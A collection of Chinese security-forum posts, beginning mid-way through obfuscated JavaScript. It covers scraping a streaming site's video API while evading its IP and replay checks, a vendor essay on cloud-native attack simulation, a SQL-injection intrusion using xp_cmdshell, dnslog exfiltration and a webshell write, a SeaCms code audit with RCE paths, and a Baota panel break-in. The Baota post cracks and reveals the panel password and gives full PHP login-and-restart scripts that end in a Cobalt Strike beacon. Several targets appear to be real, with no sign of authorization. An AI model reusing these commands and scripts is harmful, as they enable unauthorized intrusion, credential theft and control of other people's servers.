_0x58d96a,_0x2c0f('0x3','*OI!'))&&_0x13ecbc[_0x2c0f('0x4','8iw%')](_0x58d96a,'jsjiami.com.v5'))){_0x5be96b[_0x2d2c35](_0x13ecbc[_0x2c0f('0x5','(fbB')]('删除',_0x13ecbc['mNqKE']));}}catch(_0x57623d){_0x5be96b[_0x2d2c35](_0x13ecbc[_0x2c0f('0x6','126j')]);}}(window));;encode_version = 'jsjiami.com.v5'; } return _in_data; }然后_json_obj的来源于JSON.parse(_in_data),_in_data 是一个get请求成功时的回调参数,根据这个_getplay_url 的路径可以看到该请求地址形如:
www.xxxx.cc/_getplay?aid=23104&playindex=1&epindex=0&r=0.02312744250345955
接下来跟踪_getplay_url变量,看一下它这个地址是如何生成的,
可以看到其实_getplay_url来源于cb_getplay_url();
直接跟进cb_getplay_url扣下代码就好,cb_getplay_url函数如下图
Over~~
思路整理第一次请求获得加密参数vurl-->通过vurl获得m3u8-->ts文件
此请求会返回vurl,经过测试还发现,多次请求vurl会为空,后端做了ip检测
GET /_getplay?aid=22350&playindex=1&epindex=0&r=0.27333462814440845 HTTP/1.1 Host: www.yhdmp.cc sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Referer: https://www.yhdmp.cc/vp/22269-1-0.html Cookie: Hm_lvt_1e08261c27df359f682f0548bf78342c=1673847965,1673866113,1673873515,1673922180; qike123=%u9B54%u738B%u5B66%u9662%u7684%u4E0D%u9002%u5408%u8005%20%u7B2C%u4E8C%u5B63%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/21208-1-0.html_$_%u6218%u6597%u5458%u6D3E%u9063%u4E2D%uFF01%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/21162-2-0.html_$_%u81F4%u4E0D%u706D%u7684%u4F60%20%u7B2C%u4E8C%u5B63%20%u7B2C5%u96C6^https%3A//www.yhdmp.cc/vp/22111-1-4.html_$_%u81F4%u4E0D%u706D%u7684%u4F60%20%u7B2C%u4E8C%u5B63%20%u7B2C2%u96C6^https%3A//www.yhdmp.cc/vp/22111-1-1.html_$_%u4E00%u5FF5%u6C38%u6052%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/20376-1-0.html_$_%u522B%u5F53%u6B27%u5C3C%u9171%u4E86%uFF01%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/22350-1-0.html_$_%u98D9%u901F%u5B85%u7537%20%u7B2C%u4E94%u5B63%20%u7B2C5%u96C6^https%3A//www.yhdmp.cc/vp/22508-1-4.html_$_%u53C8%u9177%u53C8%u6709%u70B9%u5192%u5931%u7684%u7537%u5B69%u5B50%u4EEC%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/22349-1-0.html_$_%u4E07%u4E8B%u5C4B%u658B%u85E4%u5230%u5F02%u4E16%u754C%20%u7B2C1%u96C6^https%3A//www.yhdmp.cc/vp/22269-1-0.html_$_|; Hm_lpvt_1e08261c27df359f682f0548bf78342c=1673925191; t1=1873927596691; k1=19497283; k2=2554949298976; t2=1873927622356 数据包是否可以重发成功与Cookie 中的t1 与t2 有关,如果不修改t1, t2 直接重返数据包会显示 error:timeout ,测试发现将t1 的值改大,然后让t2 略大于t1 ,即可成功返回数据,正常返回的数据包如下, 可以看到它还套了cf
HTTP/1.1 200 OK Date: Tue, 17 Jan 2023 04:59:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close strict-transport-security: max-age=2592000; includeSubdomains; preload CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L6%2F0yi%2FmtXJXYeRjbtqjeGS3JtZNmsWaA9dq3D8ASy1RCOFEpbItEQNXNQbL%2BGg0HG1Q5jV6sPLiDnJktMq5L4GziyiGrJ%2FzN6jhufQQNabjXyeoqoaKUITjQSTZeuk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78ac8640ee697d56-LAX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Content-Length: 453 {"purl":"59878c8e3e485388807b514042877e713b7d6f82697376346a767a7a2f","vurl":"afb4b1afacb2abaeaca6b8a697e5a6a193a5e19ed797a09a9ac79cc6969397c58ec38d908c90ba8b868a8989b38ab1b47fae7cb0af828e797b7769b375aeadb3846f716d5f7d6b5c9ea995a378645567a3609959a28e8c958f6b564892548d8c92634e407f86468a84767a808a3f878685533e30503b2d48392a7773767568","playid":"\u003cplay\u003ePC-XXX\u003c/play\u003e","vurl_bak":"","purl_mp4":"/yxsf/player/ckx1/?url=","ex":"","inv":"0"} ip检测它后台还会检测当前IP,当响应完一次vurl后就不再响应,试了一下要更换IP才能继续获取数据;而且樱花dm还会检测发包频率,频率过高直接封IP可以考虑用代理池的方式解决
2 个帖子 - 2 位参与者
绿盟云原生CNBAS
简介
1.1 什么是BAS?
Breach and Attack Simulation(BAS)即入侵与攻击模拟,即通过对环境进行一致性、端到端、持续性、真实无害化的攻击模拟,以评估和验证环境的安全以及安全控制项的有效性,并且提供可视化的结果展示。
Gartner在2017年抛出了如何实际测试组织的整个安全性问题,随即引入了BAS技术。从BAS出现到在大众视野到逐步产品化的今天,关于BAS的讨论从未停止,如“实际测试”限定而引入测试的真实性讨论:到底应该有多真实、哪些应该是被模拟的等。在众多对此领域感兴趣或者相信BAS是解决该问题的有效方法的组织或个人的推动下,BAS的轮廓渐进明晰。
1.2 什么是云原生BAS?
Cloud Native Breach and Attack Simulation(CNBAS) 即云原生入侵与攻击模拟,顾名思义,这里是对测试环境镜像的限定,测试的对象是云原生环境。当然这里并不单单指集群环境。如图1所示,有利于构建、运行和充分利用云计算模型优势的技术/方法都是云原生相关。故CNBAS的测试应包含代码的安全开发、代码仓库、DevOps环境、镜像、镜像仓库等一系列上下游环节和对象。
图1 云原生概念发展图
经过前面的介绍,大家应该对CNBAS和传统BAS都有了些许了解,那么CNBAS存在的意义是什么?它是否能解决传统工具处理不了的问题?传统BAS能否替代CNBAS?带着诸多疑问,接下来我们继续探讨。
二为什么需要CNBAS
2.1 市场需要
随着全球数字化转型浪潮的推进,政企业务纷纷上云,上云的市场需求,必然推动云基础设施的持续发展,如图2所示,IDC2021年的报告显示,接受调查的云组织正在花费大量的费用去发展云基础设施。
图2 云基础设施的支出费用
这一数据也恰好和云原生市场应用的趋势相呼应,如图3所示,Datadog 2021年10月的报告数据显示在过去一年中,使用OpenShift的组织增加了28个百分点。作为云原生容器编排管理平台的一个企业版本,这表明不少的企事业组织正在将更多的应用迁移到云原生环境中。
图3 OpenShift市场使用趋势
云基础设施的完善和业务上云会带来诸多便利,但同时也使云上安全问题出现在大众视野。如图4所示,2021年Ermetic 和IDC的报告显示,超过90%的云使用者在过去的一年半时间里发生过云数据泄露的事件。当然这不仅局限于数据泄露,还有其他具有代表性的攻击事件:如2018年RedLock披露的特斯拉K8S挖矿事件、2019年Palo Alto Networks披露的Graboid蠕虫挖矿传播事件、2020年微软检测到大规模的K8S挖矿事件等。
图4 云攻击调度
云上业务被攻击后造成的损失是不可估量的,如图5所示,轻则缴纳赎金,重则数据泄露、业务中断,给组织造成经济和名誉上不可挽回的损失。
图5 云上业务和网站被攻击后的结果
面对如此严重的后果,云上业务拥有者,也会部署对应的安全产品,但即使部署大量的安全防护产品也不能完全打消管理者的疑虑,如何确保云原生环境的安全性和安全能力的有效性,能够早于攻击者发现环境的漏洞风险,这成为了市场迫切需要解决的问题。
图6 组织合作中对安全问题的态度的统计
2.2 传统的工具无法满足
如何测试云原生环境的安全性?如何测试安全能力控制项是否生效?绿盟君首先想到的是渗透测试、红蓝演练、漏洞评估。如图7所示,传统方案面临着成本高昂、连续性差、耗时长、覆盖面窄,无法保证一致性和可靠性等其中的一项或几项问题,而CNBAS恰好可以解决这些问题。
图7 云原生环境评估工具对比
那么,现有的传统BAS解决方案是否可以解决云原生场景下的这些问题呢?答案是否定的,虽然传统BAS具备上述所有特性,但传统BAS很少能够对云原生环境做到精细化和全面覆盖的攻击模拟。CNBAS专注于云原生场景下的攻击模拟,以集群安全为例,传统的BAS无论从外界资产进行发现和突破,还是部署各种形式的代理到集群内部,其攻击的方向和对象大多是粗略的(如以IP资产或者单独应用为维度的攻击),很少能够对内部的隔离控制项,或者微服务交互项、以及容器内部进行一致性的精细化攻击。
三CNBAS怎么做
Gartner在2017年的报告中对BAS做了相关的技术描述,即允许在组织环境中部署软件代理、虚拟机或通过其他形式持续并一致地对环境进行攻击模拟的工具。那么在云原生场景下,BAS怎么设计更加合适,毫无疑问,有一个永远不会错的回答——云化的方式。
3.1 攻击方式
什么是云化的方式?从Gartner对其的技术定义来看,向客户环境投放一个容器形式的代理无疑是最简单的实现方案,如图8所示,通过代理和Center进行交互达到对环境进行内部攻击模拟的目的。但绿盟君认为应该还有其它的答案,如无代理模式或许是云化场景下的一个友好方式。
图8 容器代理模式
3.2 上下游的联动
CNBAS应该具备和上下游应用或者工具进行联动的能力,以做到精细化控制环境和验证控制项目有效性。考虑到云原生环境和安全产品的多样性,插件化的联动方式或许是一个不错的选择。
3.3 用于攻击的武器
探讨这个问题的前提是模拟的对象是攻击,当然这里并没有排除对组织环境进行模拟,这需要按照场景去选择,这里暂时先探讨前者。
武器需要经过无害化的处理
至少产生的结果在可控的范围内,比如说在容器内逃逸后做了一个反弹shell,那么可以暂时反弹到内部固定的容器内或者其他可控且无法被其他程序利用的方式。
可以对武器进行原子化标记,便于根据场景或者机器学习对攻击链路进行编排
依托红蓝对抗等真实的攻击经验编排武器攻击链基线,以基线为中心进行组合学习,针对新链路进行标注,训练学习,最终以原子武器结合环境信息智能编排。值得一说的是机器学习的引入也许可以将原子武器进行变异,这是一个值得期待的方向。
武器攻击的过程需要可追溯、可回放
这里考虑的是攻击的可信度,如是否真实攻击成功、是否真实无害等,做到过程可溯源和可回放可以很好地减少这方面的疑虑。回放不用过多探讨,至于如何做到可追溯,日志和审计等常见方法是不错的选择。
3.4 部署方式
支持SaaS化的部署方式是必要的,但考虑到国内和国外的云使用场景和份额,行业部署或者单点部署也不得不加以考虑。
图9 CNBAS部署示意图
四CNBAS做什么
这里主要是想简单探讨功能模块的问题,这就涉及要做成傻瓜照相机还是机械单反的问题。结合市场和用户视角来看,绿盟君倾向于前者,以下的主要功能也是以此为前提进行的探讨。
4.1 对云原生环境资产的管理
CNBAS允许从不同的阶段进行攻击模拟,故掌握被攻击资产的关键信息是有必要的(如特定的账号或者口令,便于跳过发现和爆破进行内部攻击)。同时依托录入的信息可以和对应的资产进行交互,获取一定的信息便于资产的监控。
4.2 攻击任务
以整个云原生环境为目标进行攻击任务的管理,任务具有一致性、持续性、精确攻击范围、自动化等特性。
实施攻击中,可以对攻击输出进行实时查看跟踪,攻击结束后可以查看历史攻击链的日志,可以选择攻击链路进行回放攻击。
4.3 报表
以云原生环境为维度,统计完成攻击的任务,形成整体环境的报表,报表除了常规的漏洞统计、趋势、详情和可执行的修复建议外,多维度展示整个环境的安全成熟度是一个不错的补充。
4.4 上下游联动
攻击前的情报信息,以及攻击后的真实风险处置等等都可以联动上下游安全产品进行交互,如对于攻击成功后的风险,可以联动安全能力推送或者下发对应的策略消息,以此往复,形成端到端的闭环。
4.5 态势
除了已经提及的风险联动处置外,以整个云原生环境为维度进行统计,如对工具管理的环境进行风险汇聚形成分布和趋势等也是一个增色模块。
1 个帖子 - 1 位参与者
实战渗透之曲线救国
记录一次实战稍曲折拿下目标站点的过程。
前期摸点IIS7.0+ASP.NET的组合,简单尝试发现前台登录页面可能存在SQL注入,数据包如下:
为了节约时间直接祭出sqlmap,-r x.txt -v 3 --random-agent --dbms=mssql --batch
识别出了数据库,却被不明力量拦截了。
手工尝试绕过不明力量,堆叠的方式利用xp_cmdshell尝试将命令回显从dnslog中带出来:
先开xp_cmdshell:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
利用dnslog带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'
一顿操作过后发现dnslog没反应,这里可能有几个原因,第一就是被不明力量拦截了,第二是目标不出网,第三可能我们语句构造有问题。是第一个原因的可能性比较大。
曲线救国放弃注入后,还测试了其他漏洞,都以失败告终。但是目标是一个单位的子域而已,可以从单位的其他站点入手,进入内网后再尝试MS17010、pth等等手段来拿到目标机器权限即可。
于是在历经九九八十一难后,我们终于在目标所属B段中拿到一台机器权限,并使用代理成功进入内网。
遗憾的是拿到的机器是linux服务器,并且内网MS17010都已经打了补丁,fscan扫出来的结果基本无用。如果我们继续拿内网机器权限再利用hash传递攻击尝试的话,且不说密码是否通杀,就时间上也会浪费不少,于是陷入了小小的尴尬境地。
不过我们随即转念一想,大多数的不明力量都会部署在dmz或者在最外层交换机之上,而目前我们在内网中是不是不会受到不明力量影响?思路到此立即掏出sqlmap,再次-r x.txt -v 3 --random-agent --dbms=mssql --batch
果然如我们所想,成功注出来了,先看一下权限:
dba权限,直接os-shell,采用的是堆叠+延时的注入,一个whoami等了将近10分钟的时间,太慢了,还是手注吧。
从whoami的回显得知系统权限为低权限,加用户肯定是行不通了,站库没有分离,直接写个webshell。路径的话在报错的数据包就可以找到,值得注意的是,这里权限是普通用户权限,所以写webshell最好选择上传的目录或图片路径,本人尝试写入根路径浪费了一些时间。
上语句:
%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -
成功getshell,最后用土豆提权收个尾,战斗结束。
1 个帖子 - 1 位参与者
SeaCms 代码审计
PHP 代码审计学习计划是从 BuleCms->SeaCms->DedeCms->PhpCms 逐一进行审计,这里审计的是 SeaCms v6.45
SeaCms 是多文件入口的 Cms,思路还是先通读 index.php 和 admin/index.php 和 admin/login.php 文件,借此了解 Cms 对参数的全局过滤和连接数据库的编码和其它的一些安全措施
SeaCms 用 addslashes 函数对参数进行处理
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; }且数据库编码并没有设置为 GBK,这种情况下可能产生的 SQL 注入我知道的有两种
- 把客户端IP存储进数据库,且客户端IP可以伪造
- SQL 语句参数没有引号包裹或者用 反引号 等包裹
在我通读完 index.php 和 admin/index.php 和 admin/login.php 文件后并没有找到漏洞,前台功能较少,后台我注意到有一个模板编辑功能,审计上一套 BuleCms 的时候,就是前台 SQL 注入配合由后台模板编辑产生的文件写入进行一个组合拳 getshell
SeaCms 也存在由后台模板编辑产生的文件写入漏洞,但是这个写入有文件后缀限制,只能是 html/htm/js/css/txt
$dirTemplate="../templets"; elseif($action=='saveCus') { if($filedir == '') { ShowMsg('未指定要编辑的文件或文件名不合法', '-1'); exit(); } if(substr(strtolower($filedir),0,11)!=$dirTemplate){ ShowMsg("只允许编辑templets目录!","admin_template.php"); exit; } $filetype=getfileextend($filedir); if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt") { ShowMsg("操作被禁止!","admin_template.php"); exit; } $folder=substr($filedir,0,strrpos($filedir,'/')); if(!is_dir($folder)){ ShowMsg("目录不存在!","admin_template.php"); exit; } $content = stripslashes($content); $content = m_eregi_replace("##textarea","<textarea",$content); $content = m_eregi_replace("##/textarea","</textarea",$content); $content = m_eregi_replace("##form","<form",$content); $content = m_eregi_replace("##/form","</form",$content); createTextFile($content,$filedir); ShowMsg("操作成功!","admin_template.php?action=custom"); exit; }写入目录限制在 ../templets 上,可以通过目录穿越绕过这一点,这时候是写入文件内容可控,文件名后缀只能是 html/htm/js/css/txt ,我在通读代码的时候注意到 admin/login.php 有一个文件包含操作
include('templets/login.htm');很好,这时候就可以通过写入一句话到 login.htm 文件中
再访问 admin/login.php 即可 getshell
后台的 getshell,这时候审审有没有逻辑漏洞/sql注入/未授权漏洞(XSS暂时不考虑)拿到后台权限,就可以打一套组合拳,登录处的处理逻辑没找到漏洞点,编辑模板也不存在未授权,只能找一找 sql 注入了
在我审计这套 Cms 的时候没有特别注意去寻找哪些 sql 语句的参数是没有被包裹或者被反引号包裹的,所以一直没有头绪,没有头绪就换其它思路,有未授权的上传接口,但是没有 __wakeup 函数无法 phar 反序列化,文件包含没有找到可控的点,这里陷入了僵局
还是太菜了,查阅网上有关 SeaCms 的审计文章,前台有个 sql 注入和 rce,sql注入产生在 comment/api/index.php 文件
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$ids 可控,无引号包裹,这条语句是在 Readrlist 函数执行的,也正是因为在另一个函数里面,当时审计的有点疲惫了,没有跟进去,$ids 的传递也是很简单的
还有一个反引号包裹参数的后台 sql 注入
查阅文章提及到一个前台 rce,漏洞原因是 eval 执行的内容部分可控,在 include/main.class.php 文件,文件代码量很大,功能是用来解析模板标签的,漏洞核心代码如下
function parseIf($content){ $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"); preg_match_all($labelRule,$content,$iar); $strIf=$iar[1][$m]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"); }在 phpstorm 中跟踪哪里调用了 parseIf 函数,search.php 文件调用这个函数
function echoSearchPage(){ $content = str_replace("{searchpage:ordername}",$order,$content); $content=$mainClassObj->parseIf($content); }$content 值是 cascade.html/search.html 其中一个文件的内容,templets/default/html/cascade.html 文件存在 {searchpage:ordername} 标签,图片中的 payload 对应的 $content 变量值是 templets/default/html/cascade.html 文件里的内容,$order 通过传参传入
在 $order 变量传入要执行的代码
1 个帖子 - 1 位参与者
一款可自定义自动字典生成器---火花(spark)
github https://github.com/G0mini/spark 希望表哥多点的start
1 个帖子 - 1 位参与者
记一次绕过win下宝塔的disable_functions到cs上线
在一次渗透测试中,通过某个上传漏洞拿到了目标的shell
好家伙,禁了这么多函数
上一下哥斯拉的马看一下信息
win的服务器,还是system权限
目标服务器是宝塔,win下的宝塔一般都是system权限的
现在有几种思路:
1.想办法bypass disable_functions
2.替换php.ini
3.想办法替换宝塔的密码文件,登录宝塔
0x01:无法bypass disable_functions那就先从第一种思路开始
首先目标用的是apache:Apache/2.4.52 (Win64) OpenSSL/1.1.1m mod_fcgid/2.3.9a 是 php5.5.38
百度一下bypass disable_functions的方法:
1.利用Linux环境变量LD_PRELOAD --要linux,win不行
2.利用PHP7.4 FFI绕过 --php版本5.5.38
3.CVE-2014-6271 --要linux,win不行
3.利用imap_open()绕过 --无iamp扩展
3.利用Pcntl组件 --无组件
4.利用ImageMagick 漏洞绕过(CVE-2016–3714) --无php-imagick拓展
5.利用 Apache Mod CGI -- 要linux,win不行
6.利用攻击PHP-FPM --要linux,win不行
7.利用 GC UAF --要linux,win不行
8.利用 Json Serializer UAF --要linux,win不行
9.利用Backtrace UAF --要linux,win不行
10.利用iconv --要linux,win不行
11.利用Windows组件COM绕过 --目标disable_classes了com
0x02:替换php.ini失败网上找到了一个文章
我也试试,成功修改了
但是不知道为什么我等了24小时还是没有生效…………
有没有大佬知道这是怎么回事?
0x03:替换密码进入宝塔失败我登录了D:/BtSoft/panel/data/admin_path.pl 是保存路径的
/jinguangdasha
D:/BtSoft/panel/data/default.db
这个是宝塔的数据库下载一下
账号也是jinguangdasha,到这里我怀疑密码也是jinguangdasha
宝塔的加密方式: md5(md5(md5(password)+'_bt.cn')+salt)
jinguangdasha-->a5dd26d55a09d7ce7a510a824ee9ebba-->620b24a6d3d02afd8cb8aa3c868ba4b2-->f07c6c84d52346c4cf7c6b155a37b5b2
对的上说明宝塔面板:/jinguangdasha 账号:jinguangdasha 密码:jinguangdasha
这下都不用替换了
结果*@#@&*(脏话),宝塔面板在内网
0x04:PHP file_get_contents登录面板并重启面板灵光乍现,file_get_contents这个函数是调用php.exe执行操作,那如果get内网ip是不是可以获取到面板,如果构造登录获取到cookie去重启php服务是不是我修改的php.ini就生效了,就可以上cs了
<?php echo file_get_contents("内网面板地址/jinguangdasha/"); ?>说明这个思路是行得通的
经过分析,可以知道改了默认入口的宝塔先要访问一下 内网面板地址/jinguangdasha/ 然后http返回头会有一个Set-Cookie:xxx
获取到这个Set-Cookie值再去post登录才行,不然无法登录
<?php $url = "内网面板地址";//面板地址 $safety = "/jinguangdasha/";//面板入口 file_get_contents($url.$safety); $cookie = ""; foreach ($http_response_header as $header) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) { $cookie = $matches[1]; } } echo $cookie; ?>返回结果:
宝塔登录的时候对账号密码进行了加密
构造包进行登录:
<?php $url = "内网面板地址";//面板地址 $safety = "/jinguangdasha/";//面板入口 file_get_contents($url.$safety); $cookie = ""; foreach ($http_response_header as $header) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) { $cookie = $matches[1]; } } echo $cookie; define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true)); $header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n"; define('FORM_FIELD', 'uploaded_file'); $content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号 $content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码 $content .= "--".MULTIPART_BOUNDARY."--\r\n"; $context = stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => $header, 'content' => $content, ) )); $a = file_get_contents($url."/login", false, $context); echo $a."<br>"; ?>返回:SESSIONID=8fab8ee9-479d-4428-94ac-6acf20a81001.42vuXC45Eacp8au9rTFsTKRrr58{"status": true, "msg": "鐧诲綍鎴愬姛,姝e湪璺宠浆..."}
登录成功了,宝塔登录后会返回 request_token 和 SESSIONID ,我们带着这两个值进去看一下面板
<?php $url = "内网面板地址";//面板地址 $safety = "/jinguangdasha/";//面板入口 file_get_contents($url.$safety); $cookie = ""; foreach ($http_response_header as $header) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) { $cookie = $matches[1]; } } echo $cookie; define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true)); $header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n"; define('FORM_FIELD', 'uploaded_file'); $content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号 $content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码 $content .= "--".MULTIPART_BOUNDARY."--\r\n"; $context = stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => $header, 'content' => $content, ) )); $a = file_get_contents($url."/login", false, $context); echo $a."<br>"; $cookies = array(); foreach ($http_response_header as $hdr) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) { parse_str($matches[1], $tmp); $cookies += $tmp; } } $request_token = $cookies['request_token']; $key= $cookies['SESSIONID']; echo $request_token."@@".$key; $opts = array ( 'http' => array ( 'method' => 'GET', 'header'=> "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" . "Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n". "Pragma:no-cache\r\n", ) ); $context2 = stream_context_create($opts); $bb =file_get_contents($url."/soft",false,$context2); echo $bb; ?>宝塔的机制是防止csrf,GET虽然可以访问 ,但是POST无法正常访问,要带着一个由刚才GET得到的token才可以成功POST
现在构造post来重启面板的php服务
<?php $url = "内网面板地址";//面板地址 $safety = "/jinguangdasha/";//面板入口 file_get_contents($url.$safety); $cookie = ""; foreach ($http_response_header as $header) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) { $cookie = $matches[1]; } } echo $cookie; define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true)); $header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n"; define('FORM_FIELD', 'uploaded_file'); $content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号 $content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码 $content .= "--".MULTIPART_BOUNDARY."--\r\n"; $context = stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => $header, 'content' => $content, ) )); $a = file_get_contents($url."/login", false, $context); echo $a."<br>"; $cookies = array(); foreach ($http_response_header as $hdr) { if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) { parse_str($matches[1], $tmp); $cookies += $tmp; } } $request_token = $cookies['request_token']; $key= $cookies['SESSIONID']; echo $request_token."@@".$key; $opts = array ( 'http' => array ( 'method' => 'GET', 'header'=> "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" . "Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n". "Pragma:no-cache\r\n", ) ); $context2 = stream_context_create($opts); $bb =file_get_contents($url."/soft",false,$context2); $bb2 = getSubstr($bb,'request_token_head','container-fluid'); $bb3 = substr($bb2,9,48); echo "@@".$bb3."<br>"; function getSubstr($str, $leftStr, $rightStr) { $left = strpos($str, $leftStr); $right = strpos($str, $rightStr,$left); if($left < 0 or $right < $left) return ''; return substr($str, $left + strlen($leftStr), $right-$left-strlen($leftStr)); } $data = array( 'name' => 'php-fpm-55',//php版本号 'type' => 'restart', ); $content666 = http_build_query($data); $content_length = strlen($content666); $options = array( 'http' => array( 'method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\n" . "Content-length: $content_length\r\n". "Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n". 'x-http-token:'.$bb3."\r\n". "x-cookie-token:".$request_token."\r\n", 'content' => $content666 ) ); echo file_get_contents($url."/system?action=ServiceAdmin", false, stream_context_create($options)); ?>
上线cs完成测试!!然后接下来就是内网渗透了…………
3 个帖子 - 3 位参与者